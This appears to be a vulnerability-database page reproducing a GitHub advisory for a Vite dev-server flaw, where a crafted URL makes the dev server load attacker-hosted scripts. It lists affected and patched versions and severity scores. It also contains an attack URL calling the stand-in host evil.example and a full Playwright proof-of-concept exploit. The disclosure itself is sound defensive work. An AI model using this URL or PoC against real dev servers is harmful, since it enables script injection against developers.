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Response snapshot Oct 26, 2026, 22:02 UTC

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VulnerabilityCVE-2026-112945

Vite: Cross origin script execution through Vite custom middleware

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server. Only apps that match the following conditions are affected:

Published Updated

At a glance

Exploited
Not known
Severity
2.1 Low (CVSS 4.0)
Chance of exploitation
0.6% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-9jrq-w75r-8gcw (opens a new tab)

What happened

### Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

### Impact

Only apps that match the following conditions are affected:

Continue reading

- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

### Details

[Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

```js const url = req.originalUrl template = await vite.transformIndexHtml(url, template) ```

For a development server at `http://localhost:5173`, an attacker can send this URL:

```text http://localhost:5173//evil.example/payload.js?/../../package.json ```

In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.

Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.

[The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.

com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`:

```html

```

The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

### PoC

```js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json` const html = ''

const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) })

const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) })

let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '*', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) })

const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, })

const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return }

try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) })

await listen(attacker, attackerPort) const applicationPort = await listen(application) const browser = await chromium.launch({ headless: true })

try { const page = await browser.newPage() await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`) await page.waitForFunction( () => document.documentElement.dataset.viteXssPoc === 'executed', )

console.log(`attacker request: ${attackerRequest}`) console.log('JavaScript from the attacker server executed in the Vite page') } finally { await browser.close() await close(application) await vite.close() await close(attacker) } ```

Observed output on Vite 8.2.1: ```text attacker request: /payload.js?/../../package.json?html-proxy&index=0.js JavaScript from the attacker server executed in the Vite page ```

Affected package ranges reported by GitHub: vite: >= 8.3.0, <= 8.3.2 vite: >= 8.2.0, <= 8.2.3 vite: >= 8.0.0, <= 8.1.5 vite: >= 7.0.0, <= 7.3.6 vite: <= 6.4.3 vite-plus: <= 1.0.0

Scores and how they were measured

CVSS base severity

2.1

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.6%

Scored Percentile 46.5%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-9jrq-w75r-8gcw (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-112945, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 21). Vite: Cross origin script execution through Vite custom middleware (CVE-2026-112945). https://kevwire.com/record/CVE-2026-112945

MLA

"Vite: Cross origin script execution through Vite custom middleware (CVE-2026-112945)." KEVWire, 21 Oct. 2026, kevwire.com/record/CVE-2026-112945.

Chicago

KEVWire. "Vite: Cross origin script execution through Vite custom middleware (CVE-2026-112945)." Last modified October 21, 2026. https://kevwire.com/record/CVE-2026-112945.

Evidence summary (plain text)

Vite: Cross origin script execution through Vite custom middleware (Oct 21, 2026).
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Only apps that match the following conditions are affected:
CVSS 2.1 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-9jrq-w75r-8gcw).
EPSS 0.6% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112945&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-9jrq-w75r-8gcw: https://github.com/advisories/GHSA-9jrq-w75r-8gcw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNTo1Mjo1NlrOAAfxiA%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112945&date=2026-10-26
Record ID: CVE-2026-112945.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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